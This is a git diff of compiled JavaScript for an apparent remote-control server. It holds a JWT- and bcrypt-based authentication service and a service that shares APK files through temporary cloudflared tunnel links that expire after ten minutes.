if (!fs_1.default.existsSync(this.USER_DATA_FILE)) {
|
||||
this.logger.warn('用户数据文件不存在,将创建空用户列表');
|
||||
return;
|
||||
}
|
||||
const fileContent = fs_1.default.readFileSync(this.USER_DATA_FILE, 'utf8');
|
||||
const data = JSON.parse(fileContent);
|
||||
this.users.clear();
|
||||
if (data.users && Array.isArray(data.users)) {
|
||||
for (const userData of data.users) {
|
||||
// 恢复Date对象
|
||||
const user = {
|
||||
...userData,
|
||||
role: userData.role || 'admin', // 兼容旧数据,默认为admin
|
||||
createdAt: new Date(userData.createdAt),
|
||||
lastLoginAt: userData.lastLoginAt ? new Date(userData.lastLoginAt) : undefined
|
||||
};
|
||||
this.users.set(user.username, user);
|
||||
}
|
||||
this.logger.info(`已加载 ${data.users.length} 个用户`);
|
||||
}
|
||||
}
|
||||
catch (error) {
|
||||
this.logger.error('加载用户数据失败:', error);
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 用户登录
|
||||
*/
|
||||
async login(username, password) {
|
||||
try {
|
||||
this.logger.info(`用户登录尝试: ${username}`);
|
||||
// 查找用户
|
||||
const user = this.users.get(username);
|
||||
if (!user) {
|
||||
this.logger.warn(`用户不存在: ${username}`);
|
||||
return {
|
||||
success: false,
|
||||
message: '用户名或密码错误'
|
||||
};
|
||||
}
|
||||
// 验证密码
|
||||
const isPasswordValid = await bcryptjs_1.default.compare(password, user.passwordHash);
|
||||
if (!isPasswordValid) {
|
||||
this.logger.warn(`密码错误: ${username}`);
|
||||
return {
|
||||
success: false,
|
||||
message: '用户名或密码错误'
|
||||
};
|
||||
}
|
||||
// 更新最后登录时间
|
||||
user.lastLoginAt = new Date();
|
||||
// 保存用户数据到文件(异步但不影响登录流程)
|
||||
this.saveUsersToFile().catch(saveError => {
|
||||
this.logger.error('保存用户数据失败:', saveError);
|
||||
});
|
||||
// 生成JWT token(包含用户角色信息)
|
||||
const token = jsonwebtoken_1.default.sign({
|
||||
userId: user.id,
|
||||
username: user.username,
|
||||
role: user.role || 'admin' // 包含用户角色
|
||||
}, this.JWT_SECRET, {
|
||||
expiresIn: this.JWT_EXPIRES_IN,
|
||||
issuer: 'remote-control-server',
|
||||
audience: 'remote-control-client'
|
||||
});
|
||||
this.logger.info(`用户登录成功: ${username}`);
|
||||
return {
|
||||
success: true,
|
||||
message: '登录成功',
|
||||
token,
|
||||
user: {
|
||||
id: user.id,
|
||||
username: user.username,
|
||||
role: user.role || 'admin',
|
||||
lastLoginAt: user.lastLoginAt
|
||||
}
|
||||
};
|
||||
}
|
||||
catch (error) {
|
||||
this.logger.error('登录过程发生错误:', error);
|
||||
return {
|
||||
success: false,
|
||||
message: '登录失败,请稍后重试'
|
||||
};
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 验证JWT token
|
||||
*/
|
||||
verifyToken(token) {
|
||||
try {
|
||||
const decoded = jsonwebtoken_1.default.verify(token, this.JWT_SECRET, {
|
||||
issuer: 'remote-control-server',
|
||||
audience: 'remote-control-client'
|
||||
});
|
||||
const user = this.users.get(decoded.username);
|
||||
if (!user) {
|
||||
return {
|
||||
valid: false,
|
||||
error: '用户不存在'
|
||||
};
|
||||
}
|
||||
return {
|
||||
valid: true,
|
||||
user: {
|
||||
id: decoded.userId,
|
||||
username: decoded.username,
|
||||
role: user.role || 'admin' // 返回用户角色
|
||||
}
|
||||
};
|
||||
}
|
||||
catch (error) {
|
||||
this.logger.warn('Token验证失败:', error.message);
|
||||
if (error.name === 'TokenExpiredError') {
|
||||
return {
|
||||
valid: false,
|
||||
error: 'Token已过期'
|
||||
};
|
||||
}
|
||||
else if (error.name === 'JsonWebTokenError') {
|
||||
return {
|
||||
valid: false,
|
||||
error: 'Token无效'
|
||||
};
|
||||
}
|
||||
else {
|
||||
return {
|
||||
valid: false,
|
||||
error: '验证失败'
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 获取用户信息
|
||||
*/
|
||||
getUserByUsername(username) {
|
||||
return this.users.get(username);
|
||||
}
|
||||
/**
|
||||
* 创建新用户(用于扩展功能)
|
||||
*/
|
||||
async createUser(username, password) {
|
||||
try {
|
||||
if (this.users.has(username)) {
|
||||
this.logger.warn(`用户已存在: ${username}`);
|
||||
return false;
|
||||
}
|
||||
const passwordHash = await bcryptjs_1.default.hash(password, 10);
|
||||
const user = {
|
||||
id: `user_${Date.now()}`,
|
||||
username,
|
||||
passwordHash,
|
||||
role: 'admin', // 新创建的用户默认为普通管理员
|
||||
createdAt: new Date()
|
||||
};
|
||||
this.users.set(username, user);
|
||||
// 保存用户数据到文件
|
||||
try {
|
||||
await this.saveUsersToFile();
|
||||
}
|
||||
catch (saveError) {
|
||||
this.logger.error('保存用户数据失败:', saveError);
|
||||
}
|
||||
this.logger.info(`新用户已创建: ${username}`);
|
||||
return true;
|
||||
}
|
||||
catch (error) {
|
||||
this.logger.error('创建用户失败:', error);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 更改用户密码(用于扩展功能)
|
||||
*/
|
||||
async changePassword(username, oldPassword, newPassword) {
|
||||
try {
|
||||
const user = this.users.get(username);
|
||||
if (!user) {
|
||||
return false;
|
||||
}
|
||||
const isOldPasswordValid = await bcryptjs_1.default.compare(oldPassword, user.passwordHash);
|
||||
if (!isOldPasswordValid) {
|
||||
return false;
|
||||
}
|
||||
const newPasswordHash = await bcryptjs_1.default.hash(newPassword, 10);
|
||||
user.passwordHash = newPasswordHash;
|
||||
// 保存用户数据到文件
|
||||
try {
|
||||
await this.saveUsersToFile();
|
||||
}
|
||||
catch (saveError) {
|
||||
this.logger.error('保存用户数据失败:', saveError);
|
||||
}
|
||||
this.logger.info(`用户密码已更改: ${username}`);
|
||||
return true;
|
||||
}
|
||||
catch (error) {
|
||||
this.logger.error('更改密码失败:', error);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 获取所有用户(用于管理功能)
|
||||
*/
|
||||
getAllUsers() {
|
||||
return Array.from(this.users.values()).map(user => ({
|
||||
id: user.id,
|
||||
username: user.username,
|
||||
role: user.role || 'admin',
|
||||
createdAt: user.createdAt,
|
||||
lastLoginAt: user.lastLoginAt
|
||||
}));
|
||||
}
|
||||
/**
|
||||
* 检查用户是否为超级管理员
|
||||
*/
|
||||
isSuperAdmin(username) {
|
||||
const user = this.users.get(username);
|
||||
return user?.role === 'superadmin';
|
||||
}
|
||||
/**
|
||||
* 获取超级管理员用户名
|
||||
*/
|
||||
getSuperAdminUsername() {
|
||||
return this.SUPERADMIN_USERNAME;
|
||||
}
|
||||
/**
|
||||
* 检查系统是否已初始化(通过检查锁文件)
|
||||
*/
|
||||
isInitialized() {
|
||||
try {
|
||||
return fs_1.default.existsSync(this.INIT_LOCK_FILE);
|
||||
}
|
||||
catch (error) {
|
||||
this.logger.error('检查初始化锁文件失败:', error);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 获取初始化锁文件路径
|
||||
*/
|
||||
getInitLockFilePath() {
|
||||
return this.INIT_LOCK_FILE;
|
||||
}
|
||||
/**
|
||||
* 生成唯一标识符
|
||||
*/
|
||||
generateUniqueId() {
|
||||
// 生成32字节的随机字符串,转换为64字符的十六进制字符串
|
||||
return crypto_1.default.randomBytes(32).toString('hex');
|
||||
}
|
||||
/**
|
||||
* 获取初始化信息(如果已初始化)
|
||||
*/
|
||||
getInitializationInfo() {
|
||||
try {
|
||||
if (!this.isInitialized()) {
|
||||
return null;
|
||||
}
|
||||
const content = fs_1.default.readFileSync(this.INIT_LOCK_FILE, 'utf8');
|
||||
const info = JSON.parse(content);
|
||||
// 如果旧版本没有唯一标识符,生成一个并更新
|
||||
if (!info.uniqueId) {
|
||||
info.uniqueId = this.generateUniqueId();
|
||||
try {
|
||||
fs_1.default.writeFileSync(this.INIT_LOCK_FILE, JSON.stringify(info, null, 2));
|
||||
this.logger.info('已为已初始化的系统生成唯一标识符');
|
||||
}
|
||||
catch (error) {
|
||||
this.logger.error('更新唯一标识符失败:', error);
|
||||
}
|
||||
}
|
||||
return info;
|
||||
}
|
||||
catch (error) {
|
||||
this.logger.error('读取初始化信息失败:', error);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 获取系统唯一标识符
|
||||
*/
|
||||
getSystemUniqueId() {
|
||||
const initInfo = this.getInitializationInfo();
|
||||
return initInfo?.uniqueId || null;
|
||||
}
|
||||
/**
|
||||
* 初始化系统,设置管理员账号
|
||||
*/
|
||||
async initializeSystem(username, password) {
|
||||
try {
|
||||
// 检查是否已经初始化(通过检查锁文件)
|
||||
if (this.isInitialized()) {
|
||||
return {
|
||||
success: false,
|
||||
message: '系统已经初始化,无法重复初始化'
|
||||
};
|
||||
}
|
||||
// 验证输入参数
|
||||
if (!username || username.trim().length < 3) {
|
||||
return {
|
||||
success: false,
|
||||
message: '用户名至少需要3个字符'
|
||||
};
|
||||
}
|
||||
if (!password || password.length < 6) {
|
||||
return {
|
||||
success: false,
|
||||
message: '密码至少需要6个字符'
|
||||
};
|
||||
}
|
||||
const trimmedUsername = username.trim();
|
||||
// 检查用户名是否已存在
|
||||
if (this.users.has(trimmedUsername)) {
|
||||
return {
|
||||
success: false,
|
||||
message: '用户名已存在'
|
||||
};
|
||||
}
|
||||
// 创建管理员用户
|
||||
const passwordHash = await bcryptjs_1.default.hash(password, 10);
|
||||
const adminUser = {
|
||||
id: 'admin_' + Date.now(),
|
||||
username: trimmedUsername,
|
||||
passwordHash,
|
||||
createdAt: new Date()
|
||||
};
|
||||
// 清除默认用户,添加新的管理员用户
|
||||
this.users.clear();
|
||||
this.users.set(trimmedUsername, adminUser);
|
||||
// 保存用户数据到文件
|
||||
try {
|
||||
await this.saveUsersToFile();
|
||||
this.logger.info('用户数据已保存到文件');
|
||||
}
|
||||
catch (saveError) {
|
||||
this.logger.error('保存用户数据失败:', saveError);
|
||||
// 即使保存失败,也不影响初始化过程,但会记录错误
|
||||
}
|
||||
// 生成唯一标识符
|
||||
const uniqueId = this.generateUniqueId();
|
||||
this.logger.info(`生成系统唯一标识符: ${uniqueId.substring(0, 8)}...`);
|
||||
// 创建初始化锁文件
|
||||
try {
|
||||
const initInfo = {
|
||||
initializedAt: new Date().toISOString(),
|
||||
adminUsername: trimmedUsername,
|
||||
version: '1.0.0',
|
||||
uniqueId: uniqueId // 系统唯一标识符
|
||||
};
|
||||
fs_1.default.writeFileSync(this.INIT_LOCK_FILE, JSON.stringify(initInfo, null, 2));
|
||||
this.logger.info(`系统已初始化,管理员用户: ${trimmedUsername},唯一标识符: ${uniqueId.substring(0, 8)}...,锁文件已创建: ${this.INIT_LOCK_FILE}`);
|
||||
}
|
||||
catch (lockError) {
|
||||
this.logger.error('创建初始化锁文件失败:', lockError);
|
||||
// 即使锁文件创建失败,也不影响初始化过程
|
||||
}
|
||||
return {
|
||||
success: true,
|
||||
message: '系统初始化成功',
|
||||
uniqueId: uniqueId // 返回系统唯一标识符
|
||||
};
|
||||
}
|
||||
catch (error) {
|
||||
this.logger.error('系统初始化失败:', error);
|
||||
return {
|
||||
success: false,
|
||||
message: '系统初始化失败,请稍后重试'
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
exports.AuthService = AuthService;
|
||||
exports.default = AuthService;
|
||||
//# sourceMappingURL=AuthService.js.map
|
||||
1
dist/services/AuthService.js.map
vendored
Normal file
1
dist/services/AuthService.js.map
vendored
Normal file
File diff suppressed because one or more lines are too long
81
dist/services/CloudflareShareService.d.ts
vendored
Normal file
81
dist/services/CloudflareShareService.d.ts
vendored
Normal file
@@ -0,0 +1,81 @@
|
||||
/**
|
||||
* Cloudflare文件分享服务
|
||||
* 用于生成临时文件分享链接,有效期10分钟
|
||||
*/
|
||||
export declare class CloudflareShareService {
|
||||
private logger;
|
||||
private activeShares;
|
||||
private cleanupInterval;
|
||||
constructor();
|
||||
/**
|
||||
* 为文件创建临时分享链接
|
||||
* @param filePath 文件路径
|
||||
* @param filename 文件名
|
||||
* @param durationMinutes 有效期(分钟),默认10分钟
|
||||
* @returns 分享链接信息
|
||||
*/
|
||||
createShareLink(filePath: string, filename: string, durationMinutes?: number): Promise<ShareResult>;
|
||||
/**
|
||||
* 停止分享会话
|
||||
*/
|
||||
stopShare(sessionId: string): Promise<boolean>;
|
||||
/**
|
||||
* 获取活动分享会话列表
|
||||
*/
|
||||
getActiveShares(): ShareInfo[];
|
||||
/**
|
||||
* 清理过期的分享会话
|
||||
*/
|
||||
private cleanupExpiredShares;
|
||||
/**
|
||||
* 查找cloudflared可执行文件
|
||||
*/
|
||||
private findCloudflared;
|
||||
/**
|
||||
* 查找可用端口
|
||||
*/
|
||||
private findAvailablePort;
|
||||
/**
|
||||
* 创建文件服务器
|
||||
*/
|
||||
private createFileServer;
|
||||
/**
|
||||
* 启动cloudflared隧道
|
||||
*/
|
||||
private startCloudflaredTunnel;
|
||||
/**
|
||||
* 从cloudflared输出中提取隧道URL
|
||||
*/
|
||||
private extractTunnelUrl;
|
||||
/**
|
||||
* 生成会话ID
|
||||
*/
|
||||
private generateSessionId;
|
||||
/**
|
||||
* 格式化文件大小
|
||||
*/
|
||||
private formatFileSize;
|
||||
/**
|
||||
* 销毁服务
|
||||
*/
|
||||
destroy(): void;
|
||||
}
|
||||
interface ShareResult {
|
||||
success: boolean;
|
||||
sessionId?: string;
|
||||
shareUrl?: string;
|
||||
filename?: string;
|
||||
expiresAt?: string;
|
||||
durationMinutes?: number;
|
||||
error?: string;
|
||||
}
|
||||
interface ShareInfo {
|
||||
sessionId: string;
|
||||
filename: string;
|
||||
shareUrl: string;
|
||||
createdAt: string;
|
||||
expiresAt: string;
|
||||
isExpired: boolean;
|
||||
}
|
||||
export default CloudflareShareService;
|
||||
//# sourceMappingURL=CloudflareShareService.d.ts.map
|
||||
1
dist/services/CloudflareShareService.d.ts.map
vendored
Normal file
1
dist/services/CloudflareShareService.d.ts.map
vendored
Normal file
@@ -0,0 +1 @@
|
||||
{"version":3,"file":"CloudflareShareService.d.ts","sourceRoot":"","sources":["../../src/services/CloudflareShareService.ts"],"names":[],"mappings":"AAOA;;;GAGG;AACH,qBAAa,sBAAsB;IACjC,OAAO,CAAC,MAAM,CAAQ;IACtB,OAAO,CAAC,YAAY,CAAuC;IAC3D,OAAO,CAAC,eAAe,CAAgB;;IAWvC;;;;;;OAMG;IACG,eAAe,CACnB,QAAQ,EAAE,MAAM,EAChB,QAAQ,EAAE,MAAM,EAChB,eAAe,GAAE,MAAW,GAC3B,OAAO,CAAC,WAAW,CAAC;IA6DvB;;OAEG;IACG,SAAS,CAAC,SAAS,EAAE,MAAM,GAAG,OAAO,CAAC,OAAO,CAAC;IAiCpD;;OAEG;IACH,eAAe,IAAI,SAAS,EAAE;IAe9B;;OAEG;IACH,OAAO,CAAC,oBAAoB;IAgB5B;;OAEG;YACW,eAAe;IAsD7B;;OAEG;YACW,iBAAiB;IAkB/B;;OAEG;YACW,gBAAgB;IAmI9B;;OAEG;YACW,sBAAsB;IA2BpC;;OAEG;YACW,gBAAgB;IAyB9B;;OAEG;IACH,OAAO,CAAC,iBAAiB;IAIzB;;OAEG;IACH,OAAO,CAAC,cAAc;IAQtB;;OAEG;IACH,OAAO,IAAI,IAAI;CAUhB;AAeD,UAAU,WAAW;IACnB,OAAO,EAAE,OAAO,CAAA;IAChB,SAAS,CAAC,EAAE,MAAM,CAAA;IAClB,QAAQ,CAAC,EAAE,MAAM,CAAA;IACjB,QAAQ,CAAC,EAAE,MAAM,CAAA;IACjB,SAAS,CAAC,EAAE,MAAM,CAAA;IAClB,eAAe,CAAC,EAAE,MAAM,CAAA;IACxB,KAAK,CAAC,EAAE,MAAM,CAAA;CACf;AAED,UAAU,SAAS;IACjB,SAAS,EAAE,MAAM,CAAA;IACjB,QAAQ,EAAE,MAAM,CAAA;IAChB,QAAQ,EAAE,MAAM,CAAA;IAChB,SAAS,EAAE,MAAM,CAAA;IACjB,SAAS,EAAE,MAAM,CAAA;IACjB,SAAS,EAAE,OAAO,CAAA;CACnB;AAED,eAAe,sBAAsB,CAAA"}
|
||||
428
dist/services/CloudflareShareService.js
vendored
Normal file
428
dist/services/CloudflareShareService.js
vendored
Normal file
@@ -0,0 +1,428 @@
|
||||
"use strict";
|
||||
var __importDefault = (this && this.__importDefault) || function (mod) {
|
||||
return (mod && mod.__esModule) ? mod : { "default": mod };
|
||||
};
|
||||
Object.defineProperty(exports, "__esModule", { value: true });
|
||||
exports.CloudflareShareService = void 0;
|
||||
const child_process_1 = require("child_process");
|
||||
const fs_1 = __importDefault(require("fs"));
|
||||
const path_1 = __importDefault(require("path"));
|
||||
const http_1 = __importDefault(require("http"));
|
||||
const express_1 = __importDefault(require("express"));
|
||||
const Logger_1 = __importDefault(require("../utils/Logger"));
|
||||
/**
|
||||
* Cloudflare文件分享服务
|
||||
* 用于生成临时文件分享链接,有效期10分钟
|
||||
*/
|
||||
class CloudflareShareService {
|
||||
constructor() {
|
||||
this.activeShares = new Map();
|
||||
this.logger = new Logger_1.default('CloudflareShare');
|
||||
// 每分钟清理过期的分享会话
|
||||
this.cleanupInterval = setInterval(() => {
|
||||
this.cleanupExpiredShares();
|
||||
}, 60 * 1000);
|
||||
}
|
||||
/**
|
||||
* 为文件创建临时分享链接
|
||||
* @param filePath 文件路径
|
||||
* @param filename 文件名
|
||||
* @param durationMinutes 有效期(分钟),默认10分钟
|
||||
* @returns 分享链接信息
|
||||
*/
|
||||
async createShareLink(filePath, filename, durationMinutes = 10) {
|
||||
try {
|
||||
// 检查文件是否存在
|
||||
if (!fs_1.default.existsSync(filePath)) {
|
||||
throw new Error(`文件不存在: ${filePath}`);
|
||||
}
|
||||
// 检查cloudflared是否存在
|
||||
const cloudflaredPath = await this.findCloudflared();
|
||||
if (!cloudflaredPath) {
|
||||
throw new Error('cloudflared 未找到,请先安装 cloudflared');
|
||||
}
|
||||
// 生成会话ID
|
||||
const sessionId = this.generateSessionId();
|
||||
// 创建临时服务器
|
||||
const port = await this.findAvailablePort(8080);
|
||||
const server = await this.createFileServer(filePath, filename, port);
|
||||
// 启动cloudflared隧道
|
||||
const tunnelProcess = await this.startCloudflaredTunnel(cloudflaredPath, port);
|
||||
const tunnelUrl = await this.extractTunnelUrl(tunnelProcess);
|
||||
// 创建分享会话
|
||||
const expiresAt = new Date(Date.now() + durationMinutes * 60 * 1000);
|
||||
const shareSession = {
|
||||
sessionId,
|
||||
filePath,
|
||||
filename,
|
||||
port,
|
||||
server,
|
||||
tunnelProcess,
|
||||
tunnelUrl,
|
||||
createdAt: new Date(),
|
||||
expiresAt
|
||||
};
|
||||
this.activeShares.set(sessionId, shareSession);
|
||||
this.logger.info(`创建分享链接成功: ${tunnelUrl} (有效期: ${durationMinutes}分钟)`);
|
||||
return {
|
||||
success: true,
|
||||
sessionId,
|
||||
shareUrl: tunnelUrl,
|
||||
filename,
|
||||
expiresAt: expiresAt.toISOString(),
|
||||
durationMinutes
|
||||
};
|
||||
}
|
||||
catch (error) {
|
||||
const errorMessage = error.message || error.toString() || '未知错误';
|
||||
this.logger.error('创建分享链接失败:', errorMessage);
|
||||
this.logger.error('错误详情:', error);
|
||||
return {
|
||||
success: false,
|
||||
error: errorMessage
|
||||
};
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 停止分享会话
|
||||
*/
|
||||
async stopShare(sessionId) {
|
||||
const session = this.activeShares.get(sessionId);
|
||||
if (!session) {
|
||||
return false;
|
||||
}
|
||||
try {
|
||||
// 关闭服务器
|
||||
if (session.server) {
|
||||
session.server.close();
|
||||
}
|
||||
// 终止cloudflared进程
|
||||
if (session.tunnelProcess && !session.tunnelProcess.killed) {
|
||||
session.tunnelProcess.kill('SIGTERM');
|
||||
// 如果进程没有正常退出,强制杀死
|
||||
setTimeout(() => {
|
||||
if (session.tunnelProcess && !session.tunnelProcess.killed) {
|
||||
session.tunnelProcess.kill('SIGKILL');
|
||||
}
|
||||
}, 5000);
|
||||
}
|
||||
this.activeShares.delete(sessionId);
|
||||
this.logger.info(`停止分享会话: ${sessionId}`);
|
||||
return true;
|
||||
}
|
||||
catch (error) {
|
||||
this.logger.error(`停止分享会话失败: ${sessionId}`, error);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 获取活动分享会话列表
|
||||
*/
|
||||
getActiveShares() {
|
||||
const shares = [];
|
||||
for (const [sessionId, session] of this.activeShares) {
|
||||
shares.push({
|
||||
sessionId,
|
||||
filename: session.filename,
|
||||
shareUrl: session.tunnelUrl,
|
||||
createdAt: session.createdAt.toISOString(),
|
||||
expiresAt: session.expiresAt.toISOString(),
|
||||
isExpired: Date.now() > session.expiresAt.getTime()
|
||||
});
|
||||
}
|
||||
return shares;
|
||||
}
|
||||
/**
|
||||
* 清理过期的分享会话
|
||||
*/
|
||||
cleanupExpiredShares() {
|
||||
const now = Date.now();
|
||||
const expiredSessions = [];
|
||||
for (const [sessionId, session] of this.activeShares) {
|
||||
if (now > session.expiresAt.getTime()) {
|
||||
expiredSessions.push(sessionId);
|
||||
}
|
||||
}
|
||||
for (const sessionId of expiredSessions) {
|
||||
this.stopShare(sessionId);
|
||||
this.logger.info(`自动清理过期分享会话: ${sessionId}`);
|
||||
}
|
||||
}
|
||||
/**
|
||||
* 查找cloudflared可执行文件
|
||||
*/
|
||||
async findCloudflared() {
|
||||
// 相对于项目根目录的路径
|
||||
const projectRoot = path_1.default.resolve(process.cwd(), '..');
|
||||
const possiblePaths = [
|
||||
path_1.default.join(projectRoot, 'cloudflared'), // 项目根目录
|
||||
'./cloudflared', // 当前目录
|
||||
path_1.default.join(process.cwd(), 'cloudflared'), // 完整路径
|
||||
'/usr/local/bin/cloudflared', // 系统安装路径
|
||||
'/usr/bin/cloudflared',
|
||||
'./bin/cloudflared'
|
||||
];
|
||||
this.logger.info(`查找cloudflared,项目根目录: ${projectRoot}`);
|
||||
for (const cloudflaredPath of possiblePaths) {
|
||||
this.logger.debug(`检查路径: ${cloudflaredPath}`);
|
||||
if (fs_1.default.existsSync(cloudflaredPath)) {
|
||||
this.logger.info(`找到cloudflared: ${cloudflaredPath}`);
|
||||
return cloudflaredPath;
|
||||
}
|
||||
}
|
||||
// 尝试从PATH中查找
|
||||
return new Promise((resolve) => {
|
||||
const which = (0, child_process_1.spawn)('which', ['cloudflared']);
|
||||
let output = '';
|
||||
let errorOutput = '';
|
||||
which.stdout.on('data', (data) => {
|
||||
output += data.toString();
|
||||
});
|
||||
which.stderr.on('data', (data) => {
|
||||
errorOutput += data.toString();
|
||||
});
|
||||
which.on('close', (code) => {
|
||||
if (code === 0 && output.trim()) {
|
||||
this.logger.info(`在PATH中找到cloudflared: ${output.trim()}`);
|
||||
resolve(output.trim());
|
||||
}
|
||||
else {
|
||||
this.logger.warn(`在PATH中未找到cloudflared,退出代码: ${code},错误: ${errorOutput}`);
|
||||
resolve(null);
|
||||
}
|
||||
});
|
||||
which.on('error', (error) => {
|
||||
this.logger.error('执行which命令失败:', error);
|
||||
resolve(null);
|
||||
});
|
||||
});
|
||||
}
|
||||
/**
|
||||
* 查找可用端口
|
||||
*/
|
||||
async findAvailablePort(startPort) {
|
||||
return new Promise((resolve, reject) => {
|
||||
const server = http_1.default.createServer();
|
||||
server.listen(startPort, () => {
|
||||
const port = server.address()?.port;
|
||||
server.close(() => {
|
||||
resolve(port);
|
||||
});
|
||||
});
|
||||
server.on('error', () => {
|
||||
// 端口被占用,尝试下一个
|
||||
this.findAvailablePort(startPort + 1).then(resolve).catch(reject);
|
||||
});
|
||||
});
|
||||
}
|
||||
/**
|
||||
* 创建文件服务器
|
||||
*/
|
||||
async createFileServer(filePath, filename, port) {
|
||||
const app = (0, express_1.default)();
|
||||
// 文件下载页面
|
||||
app.get('/', (req, res) => {
|
||||
const fileStats = fs_1.default.statSync(filePath);
|
||||
const fileSize = this.formatFileSize(fileStats.size);
|
||||
const html = `
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>File Download - ${filename}</title>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||
body {
|
||||
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Arial, sans-serif;
|
||||
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
|
||||
min-height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
padding: 20px;
|
||||
}
|
||||
.container {
|
||||
background: white;
|
||||
border-radius: 12px;
|
||||
padding: 40px;
|
||||
text-align: center;
|
||||
box-shadow: 0 8px 32px rgba(0,0,0,0.1);
|
||||
max-width: 500px;
|
||||
width: 100%;
|
||||
}
|
||||
.icon {
|
||||
font-size: 48px;
|
||||
margin-bottom: 20px;
|
||||
color: #667eea;
|
||||
}
|
||||
h1 { color: #333; margin-bottom: 10px; font-size: 24px; }
|
||||
.filename {
|
||||
color: #666;
|
||||
margin-bottom: 8px;
|
||||
font-size: 18px;
|
||||
word-break: break-all;
|
||||
background: #f5f5f5;
|
||||
padding: 12px;
|
||||
border-radius: 8px;
|
||||
}
|
||||
.filesize {
|
||||
color: #888;
|
||||
margin-bottom: 30px;
|
||||
font-size: 14px;
|
||||
}
|
||||
.download-btn {
|
||||
display: inline-block;
|
||||
padding: 16px 32px;
|
||||
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
|
||||
color: white;
|
||||
text-decoration: none;
|
||||
border-radius: 8px;
|
||||
font-size: 16px;
|
||||
font-weight: 500;
|
||||
transition: transform 0.2s, box-shadow 0.2s;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
}
|
||||
.download-btn:hover {
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 4px 16px rgba(102, 126, 234, 0.4);
|
||||
}
|
||||
.warning {
|
||||
margin-top: 20px;
|
||||
padding: 16px;
|
||||
background: #fff3cd;
|
||||
border: 1px solid #ffeaa7;
|
||||
border-radius: 8px;
|
||||
color: #856404;
|
||||
font-size: 14px;
|
||||
}
|
||||
@media (max-width: 480px) {
|
||||
.container { padding: 20px; }
|
||||
h1 { font-size: 20px; }
|
||||
.filename { font-size: 16px; }
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="icon">📱</div>
|
||||
<h1>APK文件下载</h1>
|
||||
<div class="filename">${filename}</div>
|
||||
<div class="filesize">文件大小: ${fileSize}</div>
|
||||
<a href="/download" class="download-btn">立即下载</a>
|
||||
<div class="warning">
|
||||
⚠️ 此下载链接有效期为10分钟,请及时下载
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
`;
|
||||
res.send(html);
|
||||
});
|
||||
// 文件下载接口
|
||||
app.get('/download', (req, res) => {
|
||||
try {
|
||||
res.setHeader('Content-Disposition', `attachment; filename="${filename}"`);
|
||||
res.setHeader('Content-Type', 'application/vnd.android.package-archive');
|
||||
const fileStream = fs_1.default.createReadStream(filePath);
|
||||
fileStream.pipe(res);
|
||||
this.logger.info(`文件下载: ${filename} from ${req.ip}`);
|
||||
}
|
||||
catch (error) {
|
||||
this.logger.error('文件下载失败:', error);
|
||||
res.status(500).send('下载失败');
|
||||
}
|
||||
});
|
||||
return new Promise((resolve, reject) => {
|
||||
const server = app.listen(port, '0.0.0.0', () => {
|
||||
this.logger.info(`文件服务器启动: http://0.0.0.0:${port}`);
|
||||
resolve(server);
|
||||
});
|
||||
server.on('error', reject);
|
||||
});
|
||||
}
|
||||
/**
|
||||
* 启动cloudflared隧道
|
||||
*/
|
||||
async startCloudflaredTunnel(cloudflaredPath, port) {
|
||||
return new Promise((resolve, reject) => {
|
||||
const args = [
|
||||
'tunnel',
|
||||
'--url', `http://localhost:${port}`,
|
||||
'--no-autoupdate',
|
||||
'--no-tls-verify'
|
||||
];
|
||||
const tunnelProcess = (0, child_process_1.spawn)(cloudflaredPath, args);
|
||||
tunnelProcess.on('error', (error) => {
|
||||
this.logger.error('启动cloudflared失败:', error);
|
||||
reject(error);
|
||||
});
|
||||
// 等待进程启动
|
||||
setTimeout(() => {
|
||||
if (!tunnelProcess.killed) {
|
||||
resolve(tunnelProcess);
|
||||
}
|
||||
else {
|
||||
reject(new Error('cloudflared进程启动失败'));
|
||||
}
|
||||
}, 3000);
|
||||
});
|
||||
}
|
||||
/**
|
||||
* 从cloudflared输出中提取隧道URL
|
||||
*/
|
||||
async extractTunnelUrl(tunnelProcess) {
|
||||
return new Promise((resolve, reject) => {
|
||||
let output = '';
|
||||
const timeout = setTimeout(() => {
|
||||
reject(new Error('获取隧道URL超时'));
|
||||
}, 30000);
|
||||
const onData = (data) => {
|
||||
output += data.toString();
|
||||
// 查找隧道URL
|
||||
const urlMatch = output.match(/https:\/\/[a-z0-9-]+\.trycloudflare\.com/i);
|
||||
if (urlMatch) {
|
||||
clearTimeout(timeout);
|
||||
tunnelProcess.stdout?.off('data', onData);
|
||||
tunnelProcess.stderr?.off('data', onData);
|
||||
resolve(urlMatch[0]);
|
||||
}
|
||||
};
|
||||
tunnelProcess.stdout?.on('data', onData);
|
||||
tunnelProcess.stderr?.on('data', onData);
|
||||
});
|
||||
}
|
||||
/**
|
||||
* 生成会话ID
|
||||
*/
|
||||
generateSessionId() {
|
||||
return 'share_' + Date.now() + '_' + Math.random().toString(36).substr(2, 9);
|
||||
}
|
||||
/**
|
||||
* 格式化文件大小
|
||||
*/
|
||||
formatFileSize(bytes) {
|
||||
if (bytes === 0)
|
||||
return '0 B';
|
||||
const k = 1024;
|
||||
const sizes = ['B', 'KB', 'MB', 'GB'];
|
||||
